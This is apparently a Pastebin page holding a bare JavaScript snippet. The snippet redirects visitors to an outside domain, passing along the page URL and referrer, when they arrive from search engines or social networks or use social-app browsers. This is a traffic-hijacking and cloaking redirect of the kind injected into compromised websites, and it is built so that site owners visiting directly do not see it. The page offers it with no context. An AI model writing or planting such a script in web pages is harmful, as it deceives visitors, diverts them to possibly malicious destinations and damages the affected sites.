Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <script>
- var ars = 'http://domain.com';
- if(['.google.', 'bing.', 'yandex.', 'facebook.', 'pinterest.', 'alohafind.', 'baidu.', 'duckduckgo.', 'startpage.', 'searchbip.'].some(s => document.referrer.toLowerCase().includes(s)) || ['fb', 'facebook', 'pinterest', 'twitter'].some(s => navigator.userAgent.toLowerCase().includes(s))){ window.location.href = ars + '/?arsae='+ encodeURIComponent(window.location.href) + '&arsae_ref='+ encodeURIComponent(document.referrer) }
- </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement